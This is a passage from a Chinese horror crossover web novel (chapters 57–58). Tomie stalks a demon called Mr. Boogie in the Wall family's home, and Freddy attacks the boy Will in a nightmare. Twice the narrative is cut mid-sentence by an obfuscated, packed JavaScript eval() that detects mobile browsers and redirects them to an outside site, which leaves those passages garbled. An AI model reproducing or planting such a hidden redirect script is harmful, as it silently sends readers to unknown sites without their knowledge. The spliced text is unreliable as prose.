这种极致的美味被送到嘴边,理性已经濒临崩溃的感觉。 弗莱迪向后退了两步:“不……你这个疯子,即使是梦魇恶魔也不是布奇先生的对手。”那种虚与委蛇的谄媚感消失了,他终于放弃了伪装。 “你会死。” 然而富江却没有感到害怕,她的心中洋溢着一种奇异的,欢喜的感觉。 “嘿嘿嘿……呼呼……” 那种感觉越来越强烈,到最后,她甚至忍不住笑出了声。 “这不是正好吗?我还从未体验过死亡。” 女孩仰起头,巨大的阴影从她背后缓缓扩散开:“如果那位布奇先生真的很强,那么他一定会能让我体验到这份感觉吧。” 这份,面临死亡的恐惧感。 “希望他不要让我失望啊……” 57. 第 57 章 帕克从深沉的黑暗中缓缓苏醒了过来。 理智回笼的前一小会儿,他还在感慨自己有多久没睡过这么好的一觉了。 三秒钟后,当帕克回忆起自己失去意识前到底发生了什么之后,他猛然睁开眼坐了起来! 男人现在躺在书房的沙发上,身上还盖着毯子。 “你醒了。” 帕克下意识看向声音的来源处,紧接着倒吸了一口凉气。 富江端了一把椅子,此刻正坐在沙发旁边他头枕着的方向。因为屋里很昏暗,再加上醒过来的瞬间就坐起了身,所以帕克根本没注意到自己斜后方还坐了个人。 “……刚才发生什么事了?” 富江就这么坐在椅子上没动,只是眼珠子缓缓转向了帕克的方向。 “没什么,就是搜索资料的时候惊动了对方。” 这还没什么?! 就像是知道帕克想说什么似的,富江缓缓偏过头,开口道。 “放心吧,对方也没想着干什么,顶多就是吓唬吓唬我们。” 说完,她勾起嘴角,自顾自地笑了起来。 “但是你知道吗帕克,他真的真的,非常美味。甚至让我差点失控。” 不说还好,一说,男人脑海中立刻浮现出了自己昏迷前的场景。 他看到整栋屋子被漆黑的阴影包围,看到富江周身涌动黑红色的泥,看到女孩的脸似乎在慢慢的—— 瞬间,男人打了个冷颤,不敢再继续想下去。 “总之,很感谢你那时候叫了我的名字。” “不,不客气。” 帕克颤抖地咽了口口水。坦白说,他很想从沙发上站起来,但现在却害怕得有些不敢动弹 因为现在的富江,实在是看上去有些可怕。 女孩还是坐在椅子上保持着刚才的动作,歪着头,只有眼珠子向着他,嘴角则向上勾着做出了一个“笑”的表情。但也只是一个表情。 乍一看,比起鲜活的人类,现在的富江更像是一个仿生人。 这种异状是帕克以往从未遇到过的。 不,不对。自己遇到过一次。 在列车上,乔什和那名俱乐部的客户被吞噬的时候,他也有过类似的感觉。 男人摇摇头,想将那些乱七八糟的想法都甩出大脑:“所以现在我们要怎么办?” “这也是我想说的。”富江从椅子上站起身,来到窗边。“我想,帕克先生恐怕得暂时离开这地方一会儿了。” 因为帕克昏迷了好几小时,如今,太阳已经挂到了西边的天边,再过一会儿就要天黑了。 黑夜,才是这些非人类的主场。 “等等什么意思?不是说那家伙只是想吓吓我们吗?” “是啊,布奇先生只是想给我们一个警告。” 富江的手指轻轻擦过窗框,目光落在院中被风吹动的灌木丛上。 “动手的人是我哦,帕克。” “没办法,因为那位先生,真的太好吃了嘛。” 富江的声音很甜,语调微微上扬,像是羽毛一样,挠得人耳朵痒痒的。 能听出来她真的很高兴。 但坐在沙发上的帕克,冷汗早已把后背的衣服打湿。 大脑中的防御机制疯狂报警,人类趋利避害的本能正在告诉他,现在的富江非常危险。 “今天晚上就麻烦你出去找个地方休息啦。哦对,去找曼达也可以,她现在还在头疼弟弟的事,刚还给你打了个电话。” 富江转过身,光从女孩身后的窗户照进来,勾勒出了她的轮廓。 “放心,只用一个晚上就结束了。我不会伤害到别人的。” “我发誓。” ------------------------------------- 富江是目送着自己“哥哥”离开的。 她站在车库门口,看男人白着脸开车出来,还笑眯眯地和对方招了招手。 在屋子里听闻女孩讲完整个事情的来龙去脉后,帕克非常配合。 他立刻一边收拾东西,一边给曼达打了个电话。确认没问题了之后,火速开车离开了自己常住的街区。 富江很喜欢帕克这一点。遇到什么事,男人都能在最短时间内做出正确的判断,行事也很果决,同时他心中的正义感也没有消失过。 或许在道德上还有一些瑕疵,不过,这样的他也依然是个不折不扣的“好人”。 最关键的是,他真的很听话。 这样的人如果因被卷入她和布奇先生之间的斗争而丧命的话,未免也太可惜了。 曼达也会伤心的。 目送着帕克的车缓缓驶离街区,富江转过身,目光笔直地射向街道尽头那幢坡上的房子。 “……好了,接下来……” 后半句话女孩没说出口,而是一声不响地回了屋。 回到屋内,富江立刻将所有的门窗锁死,帘子也拉得密不透风。 没了光线,屋子立刻黑了下来。但富江却丝毫不受影响。 她静静地站在客厅正中央,闭上了眼睛。 下一秒,屋内的气温陡然下降,昏暗的房间显得更加漆黑。 漆黑的影子不断扩大,扩大,在黑暗中翻滚,蠕动,迅捷而寂静地从房中蔓延而出。 目标正是街道尽头的那幢房子。 等富江再睁开眼睛,她已经到达了沃尔家屋内。 不过,并不是以人的形态。 现在已经是傍晚了,富江听到了白天跟她打过招呼的米兰达的声音。 “杰夫?杰夫!你有看到我今天买来的胡椒粉吗?” 女人此刻穿着围裙站在厨房,似乎是在准备晚饭。 “我不知道——”回应米兰达的是一个仰躺在客厅沙发上的年轻人。“没看到你说的东西,为什么不问问那个白痴呢?” “你不该这么说你弟弟。” 可能因为没有胡椒粉,也有可能是因为大儿子有些叛逆的言行,总之米兰达从厨房走了出来。 “听着杰夫,我们一家刚搬来没几天,我没心情跟你瞎扯。如果你不想晚饭吃着没味儿的话,最好现在帮我把买来的东西找出来。” 米兰达的语气不怎么友好,杰夫摊了摊手,从沙发上站起身,踢踢踏踏地走向客厅中堆放杂物和行李的地方。 正如米兰达所说,他们家刚搬来没多久。除了房子和一些简单的大型家具之外,一家人要用的日常生活用品跟行李都还堆在一起没来得及收拾。 杰夫显然对自己看电视被打断一事存着不满,一边嘟囔着一边随意拨弄着行李堆。 不多时,他便注意到身后站了一个小小的身影。 是维尔,米兰达的另一个儿子。 “看什么看,白痴?” 很显然,两兄弟的感情不怎么好。 维尔没有回答哥哥的话,而是一言不发地盯着他看。 男孩的眼神并不友善,而他的哥哥显然也感觉到了这一点。 “怎么,有什么好看的?”杰夫甩开手中的杂物,站起身。“如果一会儿晚饭难吃爸爸生气了,我就说是你把胡椒粉和调料藏起来怎么样?” 明明也是个和罗德差不多大的孩子,看向亲弟弟的时候,眼中闪烁的恶意却是那样重。 “……我没有拿。” “那又怎么样?” 很显然,杰夫知道自己弟弟并没有偷藏,他就是想污蔑这个孩子而已。 没有任何理由,就是恶意针对。 杰夫站起身,凭借身高轻易地从气势上压倒了自己弟弟。 “反正你从以前开始就闯过不少祸,多这一个也不要紧吧?” 维尔一言不发,只是瞪着自己哥哥。 “我就讨厌你这样子,连句话都说不顺溜,难怪被人欺负。” 正在这时,米兰达再次从厨房中走了出来。 “嘿,你们在干什么?!杰夫,离你弟弟远一点!” 青年翻了个白眼:“哦好吧好吧,妈妈来保护愚蠢又软弱的小维尔了。” 说完,便泄愤似得朝行李堆踢了一脚。 成功把堆放起的物品弄得乱七八糟后,杰夫在母亲愤怒的叫喊声中头也不回地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14986238|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲上了楼。 但这还不是最糟的。 几小时后,当身为男主人的比尔·沃尔回家,这险恶的家庭气氛在餐桌上达到了顶峰。 “嘿米兰达,杰夫,我回来了!” 作为这个家的男主人,比尔·沃尔先生拥有一头金色的短发,他身材高大且健硕,衣着也很整齐,看上去完全像是一个成功人士。 但就是这么一个看似笑容满面的男人,却在回家后独独把小儿子当成了空气,连招呼都没打。 与相对友好而偏袒小儿子的米兰达不同,身为一家之主的沃尔先生显然更偏爱自己那个长得结识身体健康的大儿子。 吃饭的时候,杰夫毫无意外地将晚饭前自己没找到调味料还弄乱了行李这件事甩到了弟弟身上。 这引起了比尔先生的不满,他对自己的小儿子并不客气。维尔不说话,男人蒲扇般的大掌便扇到了他的后脑勺上,打得孩子坐在椅子上都一个趔趄,脑门差点撞上桌子。 “嘿比尔!不要这么做。” 面对丈夫,米兰达的态度也软了很多,并没有指使儿子时的强势。 “维尔什么都没做,是我让杰夫去找东西的。” “你给我闭嘴。”男人用短粗的食指指向自己的妻子。“如果不是你惯着维尔,这个白痴也不会在学校那么丢人现眼。” “医生说过维尔只是因为小时候受到惊吓所以有结巴和自闭的症状,他的智商是正常的,只是需要我们好好引——” “你总是来这一套,这都多少年了,他根本没好转!” 男人打断了妻子的争辩,一场争吵在餐桌上爆发。 最终,男主人愤而离桌,大儿子笑嘻嘻的回了自己房间。疲惫又伤心的母亲勉强朝小儿子笑了一下,便开始收拾残羹冷炙。 从头到尾,没人想着询问维尔本人的意见。 他就这么沉默地坐在那,看完了父母的争吵,哥哥的戏谑。 富江冷眼看着沃尔一家人的闹剧,脑中想的却是那位布奇先生。 每个家庭被选中的孩子,到最后无一例外都会选择手刃亲人,与布奇先生一起离开。 现在答案揭晓了,这位老派的恶魔挑选猎物的时候从来都是有标准的。 一个在外人眼中完整的,幸福的,但在孩子眼中却破碎的,痛苦的家庭。 富江眯起眼,愈发将自己的气息掩藏在阴影中。 不得不说,她喜欢布奇先生的品味。 这个家中每个人散发出的负面能量闻起来感觉都非常不错,被选中的维尔·沃尔更是如此。 但现在,这样的小甜点已经无法打动富江了。 夜深了,沃尔一家纷纷睡下。 直到每个人都进入深度睡眠后,躺在自己小屋内的维尔睁开了眼。 白日与他在庭院中玩耍的,自称珊迪的小姑娘又来叫他了。 她来邀请维尔,一起去地下室观看新的录影带。 看着男孩跟着已经成为鬼魂的女孩走进地下室,富江没进去。 那里散发着极其美味的味道。阴暗的嫉妒、冷酷的愤怒、最后则是发自内心的恐惧。布奇先生的味道夹杂在孩子们纯粹的恶意中,被熏陶成了像是烧烤大餐一样鲜美又诱人的气味。 富江几乎是用尽全身的力气才压制住了本能,让自己不要在这个时候露出马脚。 身为同类的第六感告诉女孩,只要她进入那个空间,便会立刻被对方察觉。 和弗莱迪的周旋已经教会了富江一件事,那就是任何时候都不能进入对方的“领域”。即使自己有再强的力量,在对方的“领域”内找不到突破点,也极有可能受到钳制。 这可真是难办啊,布奇先生不仅狡猾,能力也很强,她到底该怎么样才能把对方引诱到自己设下的陷阱里呢? 正思索着,维尔似乎已经观看完了今天的录像带。 男孩带着比进入地下室前更为深重的黑色气息,一步一步走回自己房间睡觉去了。 等等,睡觉……? 躲在黑影中的富江勾起嘴角。 她想到了一个绝妙的主意。 58. 第 58 章 夜深了,沃尔家所有人都已经沉入了梦乡。 屋里静悄悄的,似乎连幽灵都陷入了沉睡。唯有夜间围绕在路灯旁的飞虫,偶尔发出轻微的嗡鸣声。 忽然,一只巨大的飞蛾直直地朝大门外的照明灯泡扑上去。它的几片翅膀忽闪忽闪的,让原本能够照进玄关与客厅的微弱光源变得飘忽不定,也让屋内本来就浓重的黑暗开始不断“颤动”起来。 然而过了一会儿,当大飞蛾离开灯泡,光源恢复稳定,屋内的黑暗却依然在不断地“颤动”着。 所有的影子像活过来了一般,无声地收缩扩张,扭曲变形,颜色也变得越来越重。 最后黑影彻底变成黑红色,包裹住了屋子里的每个东西。 墙面,地板,家具,灯具,甚至细小的器物以及摆件。变成了黑红色的影子轻柔地“盖”在这些物体上面,就像一块贴合适宜的薄布。 但若这时有人伸手触摸,又会惊讶地发现,物体上面并没有任何东西遮盖着。 这些“影子”就像是来自某个平行时空一般,只有颜色显露在了表层。 唯有屋中的人类没有受到影响,一家四口全都无知无觉地睡着。 但就在这时,十几分钟前还在地下室看过录影带的小儿子,在睡梦中紧紧皱起了眉头。 或许是因为白天的经历,又或许是因为录影带,总之,这名可怜的男孩开始做噩梦了。 他的额头开始出现细密的汗珠,身体也开始不断扭动,摇晃着脑袋,像是遇到了什么极其不情愿的事情一样。 终于,当噩梦进行到最高点,受到惊吓的维尔下意识睁开了眼睛。 然后男孩就看到了他此生都无法忘怀的怪异景象。 天花板,墙面,甚至柜子,家具,床和被子都变成了浓重的黑红色。 而在这黑红色之上,无数只形状各异的眼睛正牢牢地盯着他看。 维尔·沃尔下意识发出一声惨叫,紧接着那黑红色的“布”连带着眼睛便铺天盖地地向他涌来,彻底包裹住了男孩。 也包裹住了这个家里的每一个活人。 但这一系列的变化,仅仅只发生在沃尔家的大宅之内。 跨过门槛一步之遥的外界街区,依然是静悄悄的夜晚,所有人都沉浸在睡梦中,什么事都没有发生。 等维尔再睁眼,他发现自己依然躺在家中的床上。 刚才可怕的眼睛,黑红色的阴影都消失了。一切都像不曾发生一般。 但男孩却觉得,刚搬进来的房间似乎变得哪里不一样了。他懵懂地起身下床,开始小心翼翼在屋内摸索着。 什么事情都没有。 正在这时,维尔听到门外传来了一声又一声,有些虚无缥缈的呼唤。 是叫的他的名字。 维尔皱起眉,推开了卧室房门。 走廊静悄悄的,空无一人,只有昏暗的夜灯在行使自己的职责守夜。 男孩微微低头,忽然发现家中的地板上漂浮着一层淡淡的,奇妙的雾气。 这是他搬来之后从未见到过的情况。 “……尔……维尔——” 打开房门后,呼唤声变得清晰了很多,听上去有些像这几天经常来找他玩的玩伴的声音。 男孩的视线落在了父母以及哥哥的房门上,紧接着,他厌恶地皱了下眉,头也不回地朝着声音的方向走了过去。 然而,诡异的事情发生了。 当穿着拖鞋和睡衣的维尔沿着熟悉的道路摸索着,走下楼梯后,却惊讶地发现一楼原本空旷的客厅与餐厅消失不见了。 取而代之的是一个看上去荒凉,又破旧的教堂。 陈腐的地板,斑驳的墙壁,甚至横七竖八的长椅。维尔摸了摸离自己最近的椅子,手中的触感冰冷又坚硬,完全不像是在做梦的感觉。 男孩开始有些心慌了。 就在这时,他又听见了那道呼唤声。 “……维尔……” “珊迪?” 他猛然扭过头,朝声音的方向看过去。 这个破旧的教堂内并没有以前维尔与父母参加礼拜时见过的神像和十字架。教堂正前方的玻璃窗下空空荡荡,只有一个长桌和一副小小的棺材。 是的,棺材。 不知道为什么,男孩刚才走到教堂里的时候完全没注意到这个东西。它明明个头不小,存在感却很稀薄。等他的目光彻底落在正前方,才猛然发现棺材竖着摆放在长桌旁边。 声音就是从棺材中传出来的。 而现在,在少年的注视下,这枚矮小的棺材缓缓打开了自己的盖子。 维尔看到了自己朋友,那个叫做珊迪的金发小女孩正闭着眼,神色平静地躺在里面。 她是维尔搬来小镇后交到的第一个朋友。一开始,维尔也很害怕珊迪,因为她总是在深夜出现在他床边,带他去看一些奇妙的家庭录像。 录影带中的家庭一开始都很幸福,但后来无一例外的全都惨死了。 维尔本来很排斥看那些东西,甚至还将珊迪的事情告诉了家里的大人。但爸爸妈妈都不相信他,自己更是又挨了父亲两巴掌。 后来他发现珊迪并不会反感自己讲话结结巴巴,依然每天陪他说话,甚至还会对他被哥哥欺负,被爸爸忽视仗义执言。 维尔觉得珊迪是理解他的伙伴。 所以,当看到女孩无知无觉地躺在棺材中的时候,维尔慌了。 男孩忘记了自己还身处梦中,也忘记了几分钟之前,他才与刚认识的小伙伴一起鉴赏录影带。 他迈开步子,朝棺材走了过去,边走还边呼唤着朋友的名字。 “珊迪……珊迪?” 距离越来越近,维尔甚至能看到对方脸颊旁边打着卷的小碎发。 女孩的睫毛是金色的,脸色一如既往的苍白,像是睡着了一般,又像是一个逼真的洋娃娃。 维尔大着胆子伸出手,想要探一探棺中女孩的鼻息。 然而就在这个时候,异变却突然发生了—— 只见原本在棺中安然沉睡的珊迪一把抓住了维尔的胳膊! 男孩被抓得猝不及防,下意识发出一声惨叫,迅速甩开了对方那只冰冷的,戴着蕾丝手套的小手,后退了好几步。 “珊迪”睁开了眼睛。 “哦天呐,天呐!为什么要甩开我的手呢维尔? 棺中的女孩如此说着,声音逐渐由清亮转为低沉。 “我们不是朋友吗?” “珊迪”缓缓走出棺材,维尔每眨一次眼睛,她都在一点点变化。越来越高,越来越壮,身上的衣服也在变样子。 身上带着蕾丝边的小裙子被变大的身体撑破,取而代之的,是一件红绿条纹相间的,有些破旧的毛衣。黑色的蕾丝手套消失了,变成了皮制的褐色刀片手套。 那头金色的,打着卷的头发在某次眨眼之后变成了劣质的假发套,连带着珊迪的脸,也变成了一张薄薄的人皮面具,就这么“盖”在怪人的脸上。 看着眼前已经彻底变化的人,维尔吓得跌坐在地。 “维尔,维尔,胆小的维尔。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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维尔率先见到的,是从主卧盥洗室走出来的,穿着睡裙的母亲,她似乎什么动静都没听到,正一脸疑惑地看着他。 男孩发出一声啜泣,猛然扑进母亲怀里大哭起来。 “妈……妈妈,楼下有,有怪物。” “哦天呐亲爱的,冷静点,你是不是做噩梦了?” 母亲的声音有些朦胧,像是从远处传来的,又像是直接从耳边响起的。 但下一秒,维尔听到那声音变了—— “你说的怪物,是不是长这样啊?” 他倒吸一口凉气猛然抬头,母亲的身影哪里都不存在,自己抱着的正是刚才那个肉色的怪人! 弗莱迪发出一声怪笑,抬起钢爪猛然向少年身上挥去! 就在这千钧一发之际,屋内的电视忽然开启。 同时,梦境杀手即将触碰到男孩的钢爪被某种力量硬生生定在了原处。 维尔原本已经惊恐绝望地闭上了眼,却在这时听到了电视中传来模糊的声音,似乎是在呼唤他的名字。 预想中的疼痛没有落下,男孩缓缓睁开眼,却惊讶地发现,站在自己面前的怪人动弹不得了! “维尔。” 他猛然回头,发现珊迪以及其他与自己一同观看录影带的孩子们出现在了门口。 他们身后,站着一个高大的,漆黑的长发身影。